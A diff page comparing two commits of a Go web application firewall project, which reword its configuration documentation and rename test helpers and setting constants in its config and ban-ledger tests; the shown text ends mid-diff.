Compare commits
2
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
4d4ae61abf | ||
|
|
3304beca46 |
No files matched your search
@@ -214,9 +214,9 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in
|
|||||||
are updated, and the alert thresholds are evaluated.
|
are updated, and the alert thresholds are evaluated.
|
||||||
|
|
||||||
For a request it refused, `waf` adds nothing to the byte limits. It updates
|
For a request it refused, `waf` adds nothing to the byte limits. It updates
|
||||||
the history and the anomaly counters at its decision. It counts the refusals
|
the history and the anomaly counters at its decision. A refusal for a rule
|
||||||
the refusal limit counts at the decision too (`refusal_limit`; see "Attack
|
file match, a trap path or a Core Rule Set match also counts toward the
|
||||||
detection").
|
refusal limit at the decision (`refusal_limit`; see "Attack detection").
|
||||||
|
|
||||||
In `SWW_WAF_MODE=observe`, every refusal above is logged as what would have
|
In `SWW_WAF_MODE=observe`, every refusal above is logged as what would have
|
||||||
happened, nothing is refused, and `waf` makes no ban of its own. A path under
|
happened, nothing is refused, and `waf` makes no ban of its own. A path under
|
||||||
|
|||||||
+5
-5
@@ -454,13 +454,12 @@ asked in the background (see "Answering in time" under "`waf`" in
|
|||||||
start, and an invalid value stops the start. Any can be given as a file, as a
|
start, and an invalid value stops the start. Any can be given as a file, as a
|
||||||
`SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do.
|
`SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do.
|
||||||
|
|
||||||
A time here is a whole number of milliseconds above zero, such as `2000`.
|
|
||||||
|
|
||||||
- `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or
|
- `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or
|
||||||
`https` URL with a host and an optional port, and nothing more. `rproxy`
|
`https` URL with a host and an optional port, and nothing more. `rproxy`
|
||||||
speaks HTTP/1.1 to it.
|
speaks HTTP/1.1 to it.
|
||||||
- `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` (default `2000`): how long `rproxy` waits
|
- `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` (default `2000`): how long `rproxy` waits
|
||||||
for `waf`'s answer, to a question and to a report. A time; never `off`.
|
for `waf`'s answer, to a question and to a report. A time in milliseconds;
|
||||||
|
never `off`.
|
||||||
- `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` (default `allow`): what is done
|
- `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` (default `allow`): what is done
|
||||||
with a request when `waf` cannot be connected to, does not answer at all, or
|
with a request when `waf` cannot be connected to, does not answer at all, or
|
||||||
does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. `allow` passes it
|
does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. `allow` passes it
|
||||||
@@ -473,11 +472,12 @@ A time here is a whole number of milliseconds above zero, such as `2000`.
|
|||||||
- `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may
|
- `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may
|
||||||
take to send its request line and headers. It then also bounds, from the end
|
take to send its request line and headers. It then also bounds, from the end
|
||||||
of the headers, the time until the app has been sent the whole request. A time
|
of the headers, the time until the app has been sent the whole request. A time
|
||||||
or `off`.
|
in milliseconds or `off`.
|
||||||
- `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may
|
- `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may
|
||||||
take, from the end of the request to its last byte reaching the visitor. An
|
take, from the end of the request to its last byte reaching the visitor. An
|
||||||
answer `rproxy` gives itself always has at least 10 seconds to be sent, and so
|
answer `rproxy` gives itself always has at least 10 seconds to be sent, and so
|
||||||
do the status and headers of the app's answer. A time or `off`.
|
do the status and headers of the app's answer. A time in milliseconds or
|
||||||
|
`off`.
|
||||||
- `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as
|
- `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as
|
||||||
`:9000`.
|
`:9000`.
|
||||||
- `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An
|
- `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An
|
||||||
|
|||||||
@@ -97,7 +97,7 @@ func TestRepeatWindowRunsOut(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
|
func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
params := defaultParams()
|
params := defaultParams()
|
||||||
@@ -114,12 +114,12 @@ func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
|
func TestLimitBanPermanentAboveSetFarOffDoesNotOverflow(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// With bans of up to 100,000 days, the 14th ban in a row, of 3^13
|
// With LimitBanPermanentAbove at 100,000 days, the 14th ban in a row, of
|
||||||
// hours, is within the maximum, and three times as long would not fit
|
// 3^13 hours, is not above it, and three times as long would not fit in
|
||||||
// in a time.Duration. The 15th is permanent.
|
// a time.Duration. The 15th is permanent.
|
||||||
params := defaultParams()
|
params := defaultParams()
|
||||||
params.LimitBanPermanentAbove = 100000 * day
|
params.LimitBanPermanentAbove = 100000 * day
|
||||||
ledger := bans.New(params)
|
ledger := bans.New(params)
|
||||||
|
|||||||
@@ -65,11 +65,10 @@ func Command(v *viper.Viper) (string, error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// environment is where WAFFromEnvironment and RProxyFromEnvironment read
|
// environment is where WAFFromEnvironment and RProxyFromEnvironment read the
|
||||||
// the settings: it notes each
|
// settings: it notes each value for the log, and keeps the first error. It
|
||||||
// value for the log, and keeps the first error. It reads every setting
|
// reads every setting through v, the viper NewViper returns, and honours
|
||||||
// through v, the viper NewViper returns, and honours each setting's _FILE
|
// each setting's _FILE form too.
|
||||||
// form too.
|
|
||||||
type environment struct {
|
type environment struct {
|
||||||
v *viper.Viper
|
v *viper.Viper
|
||||||
settings []slog.Attr
|
settings []slog.Attr
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ import (
|
|||||||
// rproxy's settings, by name, and their values in these tests.
|
// rproxy's settings, by name, and their values in these tests.
|
||||||
const (
|
const (
|
||||||
wafBackend = "SWW_RPROXY_WAF_BACKEND"
|
wafBackend = "SWW_RPROXY_WAF_BACKEND"
|
||||||
rproxyTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||||
rproxyNoAnswer = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
|
rproxyNoAnswer = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
|
||||||
rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
|
rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
|
||||||
rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
|
rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
|
||||||
@@ -91,7 +91,7 @@ func TestRProxySettingsAreRead(t *testing.T) {
|
|||||||
rproxyListen: ":9000",
|
rproxyListen: ":9000",
|
||||||
rproxyUpstream: "http://app:3000",
|
rproxyUpstream: "http://app:3000",
|
||||||
rproxyTrusted: "192.0.2.0/24",
|
rproxyTrusted: "192.0.2.0/24",
|
||||||
rproxyTimeout: "150",
|
wafBackendTimeout: "150",
|
||||||
rproxyNoAnswer: "deny",
|
rproxyNoAnswer: "deny",
|
||||||
rproxyMaxRequest: "1K",
|
rproxyMaxRequest: "1K",
|
||||||
rproxyMaxResponse: off,
|
rproxyMaxResponse: off,
|
||||||
@@ -127,12 +127,12 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
|
|||||||
{wafBackend, ""},
|
{wafBackend, ""},
|
||||||
{wafBackend, "waf:8080"},
|
{wafBackend, "waf:8080"},
|
||||||
{wafBackend, "http://waf:8080/path"},
|
{wafBackend, "http://waf:8080/path"},
|
||||||
{rproxyTimeout, "0"},
|
{wafBackendTimeout, "0"},
|
||||||
{rproxyTimeout, "-1"},
|
{wafBackendTimeout, "-1"},
|
||||||
{rproxyTimeout, off},
|
{wafBackendTimeout, off},
|
||||||
{rproxyTimeout, "2s"},
|
{wafBackendTimeout, "2s"},
|
||||||
{rproxyTimeout, "1.25"},
|
{wafBackendTimeout, "1.25"},
|
||||||
{rproxyTimeout, "99999999999999999"},
|
{wafBackendTimeout, "99999999999999999"},
|
||||||
{rproxyNoAnswer, "maybe"},
|
{rproxyNoAnswer, "maybe"},
|
||||||
{rproxyListen, "8080"},
|
{rproxyListen, "8080"},
|
||||||
{rproxyUpstream, "app"},
|
{rproxyUpstream, "app"},
|
||||||
@@ -220,11 +220,11 @@ func TestRProxyUnreadableSettingFileStopsTheStart(t *testing.T) {
|
|||||||
|
|
||||||
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
|
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
|
||||||
_, err := rproxyConfig(map[string]string{
|
_, err := rproxyConfig(map[string]string{
|
||||||
wafBackend: backendURL,
|
wafBackend: backendURL,
|
||||||
rproxyTimeout + "_FILE": path,
|
wafBackendTimeout + "_FILE": path,
|
||||||
})
|
})
|
||||||
|
|
||||||
want := rproxyTimeout + "_FILE: cannot be read: "
|
want := wafBackendTimeout + "_FILE: cannot be read: "
|
||||||
if err == nil || !strings.HasPrefix(err.Error(), want) {
|
if err == nil || !strings.HasPrefix(err.Error(), want) {
|
||||||
t.Errorf("%s: error %v, want one starting %s", path, err, want)
|
t.Errorf("%s: error %v, want one starting %s", path, err, want)
|
||||||
}
|
}
|
||||||
@@ -247,7 +247,7 @@ func TestRProxySettingsAreLoggedByName(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, name := range []string{
|
for _, name := range []string{
|
||||||
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout,
|
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, wafBackendTimeout,
|
||||||
rproxyNoAnswer,
|
rproxyNoAnswer,
|
||||||
rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
|
rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
|
||||||
} {
|
} {
|
||||||
|
|||||||
+9
-11
@@ -27,8 +27,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
||||||
)
|
)
|
||||||
|
|
||||||
// WAF is the settings of `sww waf`. A time or size limit of
|
// WAF is the settings of `sww waf`. A time or size limit of zero is off.
|
||||||
// zero is off.
|
|
||||||
type WAF struct {
|
type WAF struct {
|
||||||
// ListenAddr is where waf listens (SWW_WAF_LISTEN_ADDR).
|
// ListenAddr is where waf listens (SWW_WAF_LISTEN_ADDR).
|
||||||
ListenAddr string
|
ListenAddr string
|
||||||
@@ -77,16 +76,15 @@ type WAF struct {
|
|||||||
BytesLimitPerHour int64
|
BytesLimitPerHour int64
|
||||||
BytesLimitPerDay int64
|
BytesLimitPerDay int64
|
||||||
BytesCounted string
|
BytesCounted string
|
||||||
// LookupSource is where each client's AS number and country are
|
// LookupSource is where each client's AS number and country are looked
|
||||||
// looked up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere.
|
// up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere.
|
||||||
// LookupDBPath is the lookup database, the IPinfo Lite file looked up
|
// LookupDBPath is the lookup database, the IPinfo Lite file looked up in
|
||||||
// in while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any
|
// while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any
|
||||||
// other source. A request waits up to ASNAndCountryLookupTimeout for
|
// other source. A request waits up to ASNAndCountryLookupTimeout for its
|
||||||
// its client's first answer from GeoJS while a setting needs it
|
// client's first answer from GeoJS while a setting needs it
|
||||||
// (SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS), which cannot be off.
|
// (SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS), which cannot be off.
|
||||||
// AddLookupHeaders is true when the app is passed the client's AS
|
// AddLookupHeaders is true when the app is passed the client's AS number
|
||||||
// number and country in headers
|
// and country in headers (SWW_WAF_ADD_LOOKUP_HEADERS).
|
||||||
// (SWW_WAF_ADD_LOOKUP_HEADERS).
|
|
||||||
LookupSource string
|
LookupSource string
|
||||||
LookupDBPath string
|
LookupDBPath string
|
||||||
ASNAndCountryLookupTimeout time.Duration
|
ASNAndCountryLookupTimeout time.Duration
|
||||||
|
|||||||
+67
-67
@@ -248,8 +248,8 @@ func (e environment) viper() *viper.Viper {
|
|||||||
return configtest.Viper(e)
|
return configtest.Viper(e)
|
||||||
}
|
}
|
||||||
|
|
||||||
// fromEnvironment reads the settings from env, which must be valid.
|
// wafFromEnvironment reads waf's settings from env, which must be valid.
|
||||||
func fromEnvironment(t *testing.T, env environment) *config.WAF {
|
func wafFromEnvironment(t *testing.T, env environment) *config.WAF {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
cfg, err := config.WAFFromEnvironment(env.viper())
|
cfg, err := config.WAFFromEnvironment(env.viper())
|
||||||
@@ -263,7 +263,7 @@ func fromEnvironment(t *testing.T, env environment) *config.WAF {
|
|||||||
func TestDefaults(t *testing.T) {
|
func TestDefaults(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{})
|
cfg := wafFromEnvironment(t, environment{})
|
||||||
|
|
||||||
wantSettings(t, cfg, config.WAF{
|
wantSettings(t, cfg, config.WAF{
|
||||||
ListenAddr: ":8080",
|
ListenAddr: ":8080",
|
||||||
@@ -334,7 +334,7 @@ func TestDefaults(t *testing.T) {
|
|||||||
func TestNoSingleRequestBreaksAByteLimitAtTheDefaults(t *testing.T) {
|
func TestNoSingleRequestBreaksAByteLimitAtTheDefaults(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{})
|
cfg := wafFromEnvironment(t, environment{})
|
||||||
|
|
||||||
rproxy, err := rproxyConfig(map[string]string{wafBackend: backendURL})
|
rproxy, err := rproxyConfig(map[string]string{wafBackend: backendURL})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -359,7 +359,7 @@ func TestNoSingleRequestBreaksAByteLimitAtTheDefaults(t *testing.T) {
|
|||||||
func TestValuesAsSet(t *testing.T) {
|
func TestValuesAsSet(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{
|
cfg := wafFromEnvironment(t, environment{
|
||||||
listenAddr: "127.0.0.1:9000",
|
listenAddr: "127.0.0.1:9000",
|
||||||
mode: "observe",
|
mode: "observe",
|
||||||
allowNets: "192.0.2.7",
|
allowNets: "192.0.2.7",
|
||||||
@@ -429,7 +429,7 @@ func TestIPv6GroupPrefixMaxTrackedClientsAndLogLevel(t *testing.T) {
|
|||||||
48, 500, slog.LevelWarn,
|
48, 500, slog.LevelWarn,
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
cfg := fromEnvironment(t, tc.env)
|
cfg := wafFromEnvironment(t, tc.env)
|
||||||
if cfg.IPv6GroupPrefix != tc.prefix ||
|
if cfg.IPv6GroupPrefix != tc.prefix ||
|
||||||
cfg.MaxTrackedClients != tc.clients ||
|
cfg.MaxTrackedClients != tc.clients ||
|
||||||
cfg.LogLevel != tc.level {
|
cfg.LogLevel != tc.level {
|
||||||
@@ -444,7 +444,7 @@ func TestIPv6GroupPrefixFrom32To128(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, length := range []int{32, 128} {
|
for _, length := range []int{32, 128} {
|
||||||
cfg := fromEnvironment(
|
cfg := wafFromEnvironment(
|
||||||
t,
|
t,
|
||||||
environment{ipv6GroupPrefix: strconv.Itoa(length)},
|
environment{ipv6GroupPrefix: strconv.Itoa(length)},
|
||||||
)
|
)
|
||||||
@@ -468,7 +468,7 @@ func TestEachLogLevel(t *testing.T) {
|
|||||||
"warn": slog.LevelWarn,
|
"warn": slog.LevelWarn,
|
||||||
"error": slog.LevelError,
|
"error": slog.LevelError,
|
||||||
} {
|
} {
|
||||||
cfg := fromEnvironment(t, environment{logLevel: value})
|
cfg := wafFromEnvironment(t, environment{logLevel: value})
|
||||||
if cfg.LogLevel != want {
|
if cfg.LogLevel != want {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"%s=%s gave %v, want %v",
|
"%s=%s gave %v, want %v",
|
||||||
@@ -484,7 +484,7 @@ func TestEachLogLevel(t *testing.T) {
|
|||||||
func TestByteLimitSettingsAsSet(t *testing.T) {
|
func TestByteLimitSettingsAsSet(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{
|
cfg := wafFromEnvironment(t, environment{
|
||||||
bytesLimitPerMinute: "512M",
|
bytesLimitPerMinute: "512M",
|
||||||
bytesLimitPerHour: off,
|
bytesLimitPerHour: off,
|
||||||
bytesLimitPerDay: "100000",
|
bytesLimitPerDay: "100000",
|
||||||
@@ -500,7 +500,7 @@ func TestByteLimitSettingsAsSet(t *testing.T) {
|
|||||||
func TestRateLimitExemptPathsAsSet(t *testing.T) {
|
func TestRateLimitExemptPathsAsSet(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(
|
cfg := wafFromEnvironment(
|
||||||
t,
|
t,
|
||||||
environment{rateLimitExemptPaths: "/assets/, /favicon.ico"},
|
environment{rateLimitExemptPaths: "/assets/, /favicon.ico"},
|
||||||
)
|
)
|
||||||
@@ -531,9 +531,9 @@ func TestTrapPathsAndRefusalsLimitPerMinute(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
env environment
|
env environment
|
||||||
paths []string
|
paths []string
|
||||||
threshold int64
|
limit int64
|
||||||
}{
|
}{
|
||||||
{environment{}, []string{}, 30},
|
{environment{}, []string{}, 30},
|
||||||
{
|
{
|
||||||
@@ -542,16 +542,16 @@ func TestTrapPathsAndRefusalsLimitPerMinute(t *testing.T) {
|
|||||||
},
|
},
|
||||||
{environment{refusalsLimitPerMinute: off}, []string{}, 0},
|
{environment{refusalsLimitPerMinute: off}, []string{}, 0},
|
||||||
} {
|
} {
|
||||||
cfg := fromEnvironment(t, tc.env)
|
cfg := wafFromEnvironment(t, tc.env)
|
||||||
if !slices.Equal(cfg.TrapPaths, tc.paths) ||
|
if !slices.Equal(cfg.TrapPaths, tc.paths) ||
|
||||||
cfg.RefusalsLimitPerMinute != tc.threshold {
|
cfg.RefusalsLimitPerMinute != tc.limit {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"%v gave %v and %d, want %v and %d",
|
"%v gave %v and %d, want %v and %d",
|
||||||
tc.env,
|
tc.env,
|
||||||
cfg.TrapPaths,
|
cfg.TrapPaths,
|
||||||
cfg.RefusalsLimitPerMinute,
|
cfg.RefusalsLimitPerMinute,
|
||||||
tc.paths,
|
tc.paths,
|
||||||
tc.threshold,
|
tc.limit,
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -644,7 +644,7 @@ func TestCoreRuleSetSettings(t *testing.T) {
|
|||||||
},
|
},
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
cfg := fromEnvironment(t, tc.env)
|
cfg := wafFromEnvironment(t, tc.env)
|
||||||
|
|
||||||
got := config.WAF{
|
got := config.WAF{
|
||||||
CoreRuleSetMode: cfg.CoreRuleSetMode,
|
CoreRuleSetMode: cfg.CoreRuleSetMode,
|
||||||
@@ -684,7 +684,7 @@ func TestApps(t *testing.T) {
|
|||||||
map[string][]string{"cloud.example.com": {gitea, "wordpress"}},
|
map[string][]string{"cloud.example.com": {gitea, "wordpress"}},
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
cfg := fromEnvironment(t, tc.env)
|
cfg := wafFromEnvironment(t, tc.env)
|
||||||
if !reflect.DeepEqual(cfg.Apps, tc.want) {
|
if !reflect.DeepEqual(cfg.Apps, tc.want) {
|
||||||
t.Errorf("%v gave %#v, want %#v", tc.env, cfg.Apps, tc.want)
|
t.Errorf("%v gave %#v, want %#v", tc.env, cfg.Apps, tc.want)
|
||||||
}
|
}
|
||||||
@@ -705,7 +705,7 @@ func TestUnsetAndEmptyAppsAreLoggedDifferently(t *testing.T) {
|
|||||||
var out bytes.Buffer
|
var out bytes.Buffer
|
||||||
|
|
||||||
slog.New(slog.NewJSONHandler(&out, nil)).
|
slog.New(slog.NewJSONHandler(&out, nil)).
|
||||||
Info("starting", "settings", fromEnvironment(t, tc.env))
|
Info("starting", "settings", wafFromEnvironment(t, tc.env))
|
||||||
|
|
||||||
if !strings.Contains(out.String(), tc.want) {
|
if !strings.Contains(out.String(), tc.want) {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
@@ -766,7 +766,7 @@ func TestInvalidAppsStopsTheStart(t *testing.T) {
|
|||||||
func TestCoreRuleSetBodyInspectionSizeOf64K(t *testing.T) {
|
func TestCoreRuleSetBodyInspectionSizeOf64K(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(
|
cfg := wafFromEnvironment(
|
||||||
t,
|
t,
|
||||||
environment{coreRuleSetBodyInspectionSize: "64K"},
|
environment{coreRuleSetBodyInspectionSize: "64K"},
|
||||||
)
|
)
|
||||||
@@ -845,7 +845,7 @@ func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) {
|
|||||||
func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) {
|
func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{
|
cfg := wafFromEnvironment(t, environment{
|
||||||
instanceName: "fsn1app1/blog",
|
instanceName: "fsn1app1/blog",
|
||||||
logRequestHeaders: " Accept , X-Custom",
|
logRequestHeaders: " Accept , X-Custom",
|
||||||
})
|
})
|
||||||
@@ -863,7 +863,7 @@ func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) {
|
|||||||
func TestRemoteLogSettingsDefaults(t *testing.T) {
|
func TestRemoteLogSettingsDefaults(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{instanceName: instance})
|
cfg := wafFromEnvironment(t, environment{instanceName: instance})
|
||||||
|
|
||||||
if cfg.LogRemoteURL != nil || cfg.LogRemoteTLSCAs != nil ||
|
if cfg.LogRemoteURL != nil || cfg.LogRemoteTLSCAs != nil ||
|
||||||
cfg.LogRemoteBufferLines != 10000 || cfg.LogRemoteFacility != 16 ||
|
cfg.LogRemoteBufferLines != 10000 || cfg.LogRemoteFacility != 16 ||
|
||||||
@@ -892,7 +892,7 @@ func TestRemoteLogSettingsAsSet(t *testing.T) {
|
|||||||
t.Fatalf("write %s: %v", caFile, err)
|
t.Fatalf("write %s: %v", caFile, err)
|
||||||
}
|
}
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{
|
cfg := wafFromEnvironment(t, environment{
|
||||||
logRemoteURL: "syslog+tls://logs.example:6514",
|
logRemoteURL: "syslog+tls://logs.example:6514",
|
||||||
logRemoteTLSCAFile: caFile,
|
logRemoteTLSCAFile: caFile,
|
||||||
logRemoteBufferLines: "500",
|
logRemoteBufferLines: "500",
|
||||||
@@ -927,13 +927,13 @@ func TestRemoteLogURLForms(t *testing.T) {
|
|||||||
"syslog+tcp://[2001:db8::1]:514",
|
"syslog+tcp://[2001:db8::1]:514",
|
||||||
"syslog+tls://logs.example:6514/",
|
"syslog+tls://logs.example:6514/",
|
||||||
} {
|
} {
|
||||||
cfg := fromEnvironment(t, environment{logRemoteURL: value})
|
cfg := wafFromEnvironment(t, environment{logRemoteURL: value})
|
||||||
if cfg.LogRemoteURL.String() != value {
|
if cfg.LogRemoteURL.String() != value {
|
||||||
t.Errorf("%s read as %v", value, cfg.LogRemoteURL)
|
t.Errorf("%s read as %v", value, cfg.LogRemoteURL)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{logRemoteURL: ""})
|
cfg := wafFromEnvironment(t, environment{logRemoteURL: ""})
|
||||||
if cfg.LogRemoteURL != nil {
|
if cfg.LogRemoteURL != nil {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"set but empty, %s read as %v",
|
"set but empty, %s read as %v",
|
||||||
@@ -950,7 +950,7 @@ func TestRemoteLogFacilitiesByNumber(t *testing.T) {
|
|||||||
"kern": 0, "user": 1, "auth": 4, "authpriv": 10, "ftp": 11,
|
"kern": 0, "user": 1, "auth": 4, "authpriv": 10, "ftp": 11,
|
||||||
"local0": 16, "local5": 21, "local7": 23,
|
"local0": 16, "local5": 21, "local7": 23,
|
||||||
} {
|
} {
|
||||||
cfg := fromEnvironment(t, environment{logRemoteFacility: name})
|
cfg := wafFromEnvironment(t, environment{logRemoteFacility: name})
|
||||||
if cfg.LogRemoteFacility != number {
|
if cfg.LogRemoteFacility != number {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"%s read as %d, want %d",
|
"%s read as %d, want %d",
|
||||||
@@ -1036,7 +1036,7 @@ func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending(
|
|||||||
t.Errorf("error %v, want %s", err, want)
|
t.Errorf("error %v, want %s", err, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{instanceName: spaced})
|
cfg := wafFromEnvironment(t, environment{instanceName: spaced})
|
||||||
if cfg.LogRemoteAppName != spaced {
|
if cfg.LogRemoteAppName != spaced {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"not sending, %s is %q",
|
"not sending, %s is %q",
|
||||||
@@ -1047,7 +1047,7 @@ func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending(
|
|||||||
|
|
||||||
sending[logRemoteAppName] = instance
|
sending[logRemoteAppName] = instance
|
||||||
|
|
||||||
cfg = fromEnvironment(t, sending)
|
cfg = wafFromEnvironment(t, sending)
|
||||||
if cfg.LogRemoteAppName != instance {
|
if cfg.LogRemoteAppName != instance {
|
||||||
t.Errorf("set to %s, %s is %q", instance, logRemoteAppName,
|
t.Errorf("set to %s, %s is %q", instance, logRemoteAppName,
|
||||||
cfg.LogRemoteAppName)
|
cfg.LogRemoteAppName)
|
||||||
@@ -1073,7 +1073,7 @@ func TestAppNameSetStopsTheStartWhileSending(t *testing.T) {
|
|||||||
func TestAlertSettingsDefaults(t *testing.T) {
|
func TestAlertSettingsDefaults(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{})
|
cfg := wafFromEnvironment(t, environment{})
|
||||||
|
|
||||||
if cfg.AlertWebhookURL != nil || len(cfg.AlertWebhookHeaders) != 0 ||
|
if cfg.AlertWebhookURL != nil || len(cfg.AlertWebhookHeaders) != 0 ||
|
||||||
cfg.AlertSlackWebhookURL != nil || cfg.AlertNtfyURL != nil ||
|
cfg.AlertSlackWebhookURL != nil || cfg.AlertNtfyURL != nil ||
|
||||||
@@ -1106,7 +1106,7 @@ func TestAlertSettingsAsSet(t *testing.T) {
|
|||||||
token = "tk_0123456789abcdefghijklmnopq"
|
token = "tk_0123456789abcdefghijklmnopq"
|
||||||
)
|
)
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{
|
cfg := wafFromEnvironment(t, environment{
|
||||||
alertWebhookURL: webhook,
|
alertWebhookURL: webhook,
|
||||||
alertWebhookHeaders: "Authorization: Bearer abc:def , x-team:ops",
|
alertWebhookHeaders: "Authorization: Bearer abc:def , x-team:ops",
|
||||||
alertSlackWebhookURL: slack,
|
alertSlackWebhookURL: slack,
|
||||||
@@ -1144,7 +1144,7 @@ func TestAlertSettingsAsSet(t *testing.T) {
|
|||||||
func TestAlertSettingsSetEmptyOrOff(t *testing.T) {
|
func TestAlertSettingsSetEmptyOrOff(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{
|
cfg := wafFromEnvironment(t, environment{
|
||||||
alertWebhookURL: "", alertSlackWebhookURL: "", alertNtfyURL: "",
|
alertWebhookURL: "", alertSlackWebhookURL: "", alertNtfyURL: "",
|
||||||
alertNtfyToken: "", alertEvents: "", alertCooldown: off, alertMaxPerHour: off,
|
alertNtfyToken: "", alertEvents: "", alertCooldown: off, alertMaxPerHour: off,
|
||||||
})
|
})
|
||||||
@@ -1202,7 +1202,7 @@ func TestWebhookHeadersAreLoggedMaskedAndNeverShown(t *testing.T) {
|
|||||||
|
|
||||||
const secret = "Bearer 0123456789abcdef"
|
